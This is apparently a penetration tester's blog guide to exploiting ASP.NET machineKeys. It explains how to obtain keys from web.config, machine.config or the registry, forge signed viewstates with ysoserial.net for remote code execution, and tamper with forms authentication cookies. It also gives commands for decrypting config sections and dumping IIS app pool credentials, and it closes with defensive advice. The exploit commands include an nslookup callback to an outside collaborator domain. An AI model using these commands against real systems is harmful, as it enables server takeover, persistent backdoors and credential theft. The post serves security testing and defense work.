If you are coming back, and just here for the cheatsheet, you can find that here. If it’s your first time, hopefully you’ll read through the whole thing.
Note: For my own sanity, I have intentionally decided to omit references to ASP.NET 5 (or ASP.NET Core 1.0, or whatever the heck you want to call it). It is just too dramatically different, and if anything, it probably makes sense to write a whole other guide for it later. From this point forward, we are only talking about .NET 4.x and below.
The goal of this post is to provide a resource for pentesters covering multiple aspects of practical exploitation ASP.NET cryptography. I want to highlight the increased risk that ASP.NET applications face, due to immutable design characteristics of the platform relating to cryptographic functionality.
The post focuses primarily around the machineKey, a cryptographic secret which touches almost everything in asp.net. How might you obtain one, and what exactly do you do with it. Some windows based cryptographic services are also explored. Finally, I provide some defense tips and discussion centered around protecting applications from the techniques described.
These techniques are all considered post-exploitation techniques. That is to say, they require some pre-existing violation of the security of an ASP.NET application, whether that is an arbitrary file read, a pre-existing remote code execution (RCE) vulnerability, a public information leak, or even the compromise of a totally separate application.
So while it is true that a perfectly secure, properly configured ASP.NET application is not subject to any of these weaknesses, the vulnerabilities which lead to them are fairly common. From the pentester perspective, you should be able to demonstrate the true impact of your vulnerabilities by maximizing the “damage” of their exploitation, just as a real attacker would.
Basically, this is the post that I wish I had when I first started learning about testing ASP.NET applications in-depth.
The first and most important thing you need to understand about ASP.NET applications is that usually, exposure of the machineKey will lead directly to code execution.
“MachineKey” actually refers to a pair of keys, one for encryption and one for validation.
The keys are stored as ASCII hex strings, and will looks like this:
Validation key: 1DFAEF69B18A38048AA7DD2D678A4129DF8B12CBB181046F1BFB7C6F0906B06835F34FE8956624CF3DCC6B79B9C4BB2B0492516EEFD2F6C9D304E1AE5CD6024F
Encryption key: 4AC6E4FFB2C0E8E1251BB0B94807D1C73829A947FF0CE01C801FD02FC545DF05
These keys are tied to several encryption, signing, and validation functions within ASP.NET. The most notable of these are “forms authentication” cookies and the viewstate.
More on form auth cookies later, for now lets focus on the viewstate.
To turn a machineKey into remote code execution (RCE), you need to produce a maliciously crafted viewstate and sign it with the validation key. This malicious viewstate value then just needs to be used on a page that processes the viewstate.
The “usually” in the opening sentence is a necessary qualifier, because it is possible to disable the viewstate – both at an application and page level. However, this is fairly uncommon because it is enabled by default. If you encounter a page which is “naturally” sending a __viewstate parameter when you submit a form on it, it should be vulnerable. A login page is usually a convenient place to start.
Depending on the configuration, the viewstate parameter might get processed even if it wasn’t being used normally. It might even work with a __VIEWSTATE GET parameter (instead of a POST parameter).
Lots of application frameworks have secrets used for similar functions, and it’s always bad if they get exposed. ASP.NET apps happen to possess a nearly universally present, highly reliable technique for converting them directly into RCE.
More on the viewstate
The purpose of the viewstate is to add some “state” to what is fundamentally a stateless protocol. Most web applications maintain state primarily on the server, whereas .NET splits the responsibility between the server and the client – and the client portion is the viewstate. This helps preserve various values on the page as requests go back and forth between the client and server.
The viewstate itself is a base64-encoded serialized object. This means anytime it is used, it is being deserialized by the server. This functionality was created prior to much of the current understanding of the security threat deserialization can pose. To prevent tampering with the viewstate it is signed with a MAC (message authentication code) to protect it’s integrity, and can also be encrypted to protect the confidentiality its contents.
There was a time when it was possible for an IIS administrator to disable both the MAC and encryption, and have a completely unprotected viewstate. Once deserialization attacks became mainstream, this became a security nightmare and Microsoft decided to forcibly override these settings. As of Sept 2014, it is no longer possible to disable the viewstate MAC.
Actually, it is technically possible, but you have to go out of your way and change obscure registry keys or turn on obscure options that make it very clear you are doing something incredibly dangerous. Keep it way in the back of your mind, and if you ever see an unsigned viewstate, alarms should go off in your head.
Locating the machineKey
Now you have an idea of how incredibly valuable a machineKey is to an attacker, how do you get it?
Most commonly, the machineKey will be located within the web.config located in the root folder of the web application.
This makes file-read vulnerabilities (with our usual, in “most cases” caveat) functionally equivalent to RCE. The bar for total compromise of the web server is pushed all the way down to just “read-access to files in the webroot.”
This type of vulnerability is not uncommon! A file reading function which does not properly sanitize input may accept directory traversal characters allowing the attacker to traverse to the webroot and read the web.config. Many XXE vulnerabilities will allow reading files from the local file system. In many cases, a server-side request forgery vulnerability (SSRF) can also read local files using the file:/// handler.
The machineKey values won’t always be located in the web.config. They might instead be located in the machine.config. if the machineKey is placed there, and not overridden by a value in the web.config for a given application, they will be the ones used for all cryptographic operations.
The machine.config will be located here:
32-bit: C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config 64-bit: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
Publicly exposed keys
The last way you might be able to get a machineKey is one that has been leaked publicly. The tool Blacklist3r contains a list of several thousand pre-harvested keys. Many of these were obtained from various developer forums, github leaks, etc. The AspDotNetWrapper utility within Blacklist3r allows for a quick way to test whether an application uses one of these keys. Simply grab a valid viewstate / viewstate generator value from an application, and plug in into the tool. If there’s a match, you’ll know within a few seconds.
Aside from using the pre-discovered list of keys, you should probably do your own OSINT to see if there is something specific to your application that the Blacklist3r developers didn’t find. Aside from that, this list hasn’t been updated in two years, so by doing your own general OSINT you may be able to enhance this list with some that you found yourself.
Grab a copy of Blacklist3r here. I’d recommend just grabbing the latest release version.
An example of using Blacklist3r to identify when known machineKeys are in use:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> –macdecode
You don’t need to specify the validation / encryption algorithms. There are only a few options, and it turns out bruteforcing all the permutations of them is pretty trivial, and this is exactly what Blacklist3r does for you.
Add any machineKey’s you’ve located on your own to the end of MachineKeys.txt before you run it.
When you get a match, it will look like this:
When you see the green text, it’s time to get excited.
There is a 3rd scenario when it comes to where the machineKey might be stored. The application can be configured with the machineKey’s set to “AutoGenerate”. In this case, the keys are stored in one of the registry locations shown here:
This is a much safer option then setting a static key, but its not always possible to use. If the application is part of a server farm which is handling load-balanced requests for the same application, the keys need to be the same across servers for the application to work properly if the user gets routed to different servers mid-session.
Obviously, in this scenario you can not retrieve the key with just filesystem read access, unless the account that’s running the web server is over-privileged and you can access the registry hive from \system32\config\system, which should require local admin rights on the system. It goes without saying, for many reasons, you should never run a web application with local admin rights.
It’s still useful to understand how to retrieve the key from the registry values because:
- You might have some really strange bug that’s just lets you read registry values
- If you compromise the app some other way, having the machineKey is a perfect stealthy backdoor to get back in later, even if they original technique is patched.
So however you get registry access, if you manage to, here’s how to access the key:
The easy way
In his blog post Danger of Stealing Auto Generated .NET Machine Keys, Soroush Dalili presents a proof-of-concept .aspx file which will display the current machineKey, even if its been autogenerated and stored in the registry.
This short-circuits all of the complicated inner machinery being used to convert the basekey stored in the registry to the effective key and greatly simplifies the process. While incredibly handy, this does assume that you are in the post-exploitation context and therefore already have compromised the server and have access to add .aspx files.
In the (admittedly very odd) edge case where you only have access to the registry, you still need a way to convert raw values from the registry into usable keys yourself.
The hard way…
It should be completely possible to reconstruct the key by hand with access to the registry value. I am planning on building a tool to do just that, soon – if I do I will update this section with the solution, but there is obviously a very narrow use-case for such a tool.
Exploiting a MachineKey
So you got a machineKey! Now what?
To generate the malicious viewstate, you will be using ysoserial.net. The easiest way to use it is to grab the latest release and just run the .exe directly from a windows machine. I like to use running nslookup on a Burpsuite collaborator domain as a non-intrusive RCE validation, so you’ll see that in my examples.
The following is an example of using the ysoserial.net binary to generate a payload with known encryption/validation keys:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain> " --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>" --validationalg="SHA1" --validationkey="<validation key>"
The ”generator” value, which is sometimes referred to as the “modifier”, is unique the specific page that you will be using the exploit on. You can simply copy it from the target page once you select it, where you will find it in a variable called __VIEWSTATEGENERATOR. In some rare cases, you may be attempting to exploit a page where you do not have access to the generator. For example, you found a page that accepts __viewstate as a GET parameter, but there was no existing form there. In such an edge case, you just need to understand that this value is really just calculated based on the application and page paths. Therefore, you just need one or the other. Either the –path and –apppath parameters, or just the –modifier parameter.
Most of the time, you will want to leave apppath set to “/”. If the application’s webroot seems to be something else, like http://www.website.com/applicationroot, you would change it to “/applicationroot”. Sometimes what seems like just another folder on a webapp may in actuality be another application, so keep that in mind.
The –path is just that, the path to the specific page you are using. Note that sometimes the “.aspx” will be hidden in a path like this, so its just “Account/Login”. You still need “Account/Login.aspx”.
This is the “gadget” which ysoserial.net will use. If you are unsure exactly what this means, take a minute to learn more about C# deserialization in general by checking out this presentation from Defcon 25 from the creator of ysoserial.net, @pwntester, and/or read this whitepaper from nccgroup. In one sentence, a gadget is the specific chain of object methods and / or parameters that allow for some exploitable action when the object is deserialized.
Most of the time, you don’t need to worry about this. If you are getting blocked by a WAF you might want to try other gadgets, this was successful for me on one occasion where a WAF didn’t care for something very specific to the TextFormattingRunProperties gadget. The other one I recommend you try is TypeConfuseDelegate.
Once you have generated this base64 value, you need to find a place in the application that is reading the viewstate. Some applications will read the viewstate on every request, others will only do some on specific requests. In almost all cases, this will be a POST request – although there are apps where adding the GET parameter __VIEWSTATE will work too. Your best bet is to find a page that is naturally sending the viewstate, as this is a strong indication that is actively using it. If the application is reading the viewstate, it’s deserializing it… and so we know our exploit will be triggered.
It’s best to NOT use Burp repeater, and instead intercept a valid request and replace the viewstate with the one you generated with ysoserial.net. Doing this eliminates any possible interferences from CSRF / validation cookies.
Don’t forget to URL encode it! This is a common gotcha, and if you forget, you will miss exploitable targets and never be the wiser. You don’t need to URL encode everything. Just highlight the modified viewstate Burpsuite, right click, select convert, URL, then “URL encode key characters“.
If all goes according to plan, when you submit the request, the command you specified with -c will execute, and you’ve got yourself an RCE. You might still see a code 500 error page – this does not mean it didn’t work (unless the error is about an invalid viewstate).
Forms Cookie decryption / encryption
As described by microsoft, the forms authentication cookie is just a container for a “forms authentication ticket”. The authentication ticket riding inside the encrypted and signed cookie stores the identity of the current user along with several pieces of metadata, like when the ticket was issued, when it expires, and a field called userData which can store just about anything.
Possession of the MachineKey is all you need to decrypt / re-encrypt / sign one. I couldn’t find a handy tool to do this, even though it’s a relatively simple task – So I created one.
These two quick-and-dirty little C# console applications will let you decrypt a Forms cookie (FormsDecrypt) or recreate your own (FormsEncrypt).
In many cases, this will be all you need to escalate your privilege to that of an administrative user. If you are lucky, all you need to do is change the username value in the cookie to that of an admin user.
Of course, applications will vary a lot in how they use the forms auth cookie and they may be doing some crazy custom stuff in the userData field. For example, SQL injection on a field which is populated from userData is not unheard of (the developer believes decrypted cookie data is trusted).
Usually, it will be pretty obvious what is possible once you decrypt the cookie. If you are in a position to decrypt / encrypt / tamper with a forms cookie, you can get RCE via the viewstate. However, if you have the machineKey but the viewstate is disabled, this might be your best angle of attack. Also, sometimes things might be encrypted in the forms auth cookie that are actually more valuable than just RCE on a particular web server. Think of a single-sign on JWT which is valid on other applications.
Something else to keep in mind: even if you don’t have the machineKey, if two servers share a machineKey, its possible that the forms authentication cookie from one app (that you have access to) will work in the other (that you don’t).
Encrypted configuration values
IIS includes built-in functionality to encrypt sensitive values (like database connection strings) to protect them in the case of a file-read exposure. These keys are either encrypted using RsaProtectedConfigurationProvider or DataProtectionConfigurationProvider (DPAPI). The DPAPI method uses the Windows Data Protection API to encrypt and decrypt data. The RSA method uses an RSA key pair to do the same. What you need to know is, in order to get past either method you are going to need code execution with local admin privileges. At that point, the proverbial goose is already long cooked anyway.
As a pentester, if you encounter this by way of an arbitrary file read, don’t waste your time – you are not going to be able to decrypt anything without code execution with admin privileges. That being said, if are in a post-exploitation mode here’s how you can decrypt these values:
The aspnet_regiis utility (located in C:\Windows\Microsoft.NET\Framework64\v4.0.30319\) can be used to encrypt / decrypt sections of the web.config. Again, this is only useful in a post-exploitation scenario where you already have local admin access on the server.
Decrypting config section:
c:\LOCATIONOFWEBROOT>c:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis -pdf connectionStrings .
It needs to be executed from the path of the webroot of the target application. Obviously, if this is a production web application, you probably want to make a copy of the webroot and run it against the copy instead, as it is changing the configuration file in-place.
Change “connectionStrings” to the name of the encrypted section, if it is something else. Using this version of the command, you should not have to worry about which encryption provider was used, aspnet_regiis will handle figuring that out for you.
Once you have fully compromised a server, if you have local admin access, you can read applicationhost.config (located at: C:\Windows\System32\inetsrv\Config\ApplicationHost.config). This is extremely useful for a variety of reasons, not the least of which is seeing what other apps which are running on the same server and their paths.
Sometimes, you will find encrypted credentials in the applicationHost.config. This occurs when the administrator sets an application up to run as a particular user – let’s say maybe it’s a domain service account. From a pentesters perspective, a domain service account might be exactly what you need to start pivoting around the network. Long-gone are the days when mimikatz would spit out plaintext creds (unless you happen to pop a windows 2003/2008 server). You can get a lot of mileage out of passing NTLM hashes, but sometimes you really need a plaintext cred.
If you have local admin, you can decrypt these, and its super easy using the built-in APPCMD utility.
There’s two types of passwords you might find in the applicationHost.config: Application Pool passwords, and Virtual directory passwords.
List available pools:
%systemroot%\system32\inetsrv\APPCMD list apppools
Get the details of the selected app pool, including plaintext passwords (if your current user has permission):
%systemroot%\system32\inetsrv\APPCMD list <apppool> /text:*
List available vdirs:
%systemroot%\system32\inetsrv\APPCMD list vdirs
Get the details of the selected virtual directory, including plaintext passwords (if your current user has permission)
%systemroot%\system32\inetsrv\APPCMD list vdirs <dirname>/ /text:*
ASP.NET Application Defense
This section is designed to help developers and admins with tips to better secure their ASP.NET deployments.
- Protect your machineKey at all costs. If an attacker gets this, and knows what they are doing (maybe because they read this blog 😀 ) in almost all cases they are going to get code execution. If you can, set your machineKey to be autogenerated so its not laying around in a config file.
- File read = RCE (unless are using autogenerated keys!). Treat any functionality which is reading data from the file system with the utmost scrutiny. A file-read vuln is really bad news for any web application. It’s certain death for a .net application in most cases.
- Do NOT reuse your machineKey across applications. The last thing you want is your super-secure crown-jewel application to get popped because the crappy-old random application in the corner used the same key. I’ve seen entire organizations with hundreds of applications using the same key, and this is a BAD idea. It means that if one app get popped, everything gets popped. And in this case, “popped” doesn’t even have to be RCE. Just a vulnerability providing read-only filesystem access will do the trick.
- If you are a dev / sysadmin of a ASP.net app, and you only remember one thing from this post, remember this: If your app gets compromised in any way, change your machine keys! As an attacker there is nothing more satisfying than stashing away machineKeys for later know that unless you change them I’ve got a guaranteed back door that leaves no trace. Did your exchange server get popped earlier this year? Did they put a web shell down? You probably deleted their web shell, but if you didn’t change your keys they still have access right now!
Just a bit more on the topic of key reuse, with a real recent (ish) world example. It looks like Microsoft wasn’t generating unique machineKeys upon Exchange server installation, and a default key was being used all over the place.
A remote code execution vulnerability exists in Microsoft Exchange Server when the server fails to properly create unique keys at install time. Knowledge of the validation key allows an authenticated user with a mailbox to pass arbitrary objects to be deserialized by the web application, which runs as SYSTEM.
Here’s the details: but I suspect if you’ve read this far, you already know exactly what it’s going to say. You use ysoserial.net to generate a payload, using this specific key. This is pretty much a disaster; on top of the already large pile of disasters relating to Microsoft Exchange server lately. If you reuse machineKeys , you are creating a version of this inside your organization. Please don’t do it!
References and Further Reading
References which contributed to this post
A series of Microsoft developer blogs discussing the cryptographic changes in ASP.NET 4.5 vs 4.0:
An overview of various cryptographic functions in ASP.NET from the developers perspective
I have created a cheatsheet with all of the relevant information in a concise form, ideal for use as a quick reference.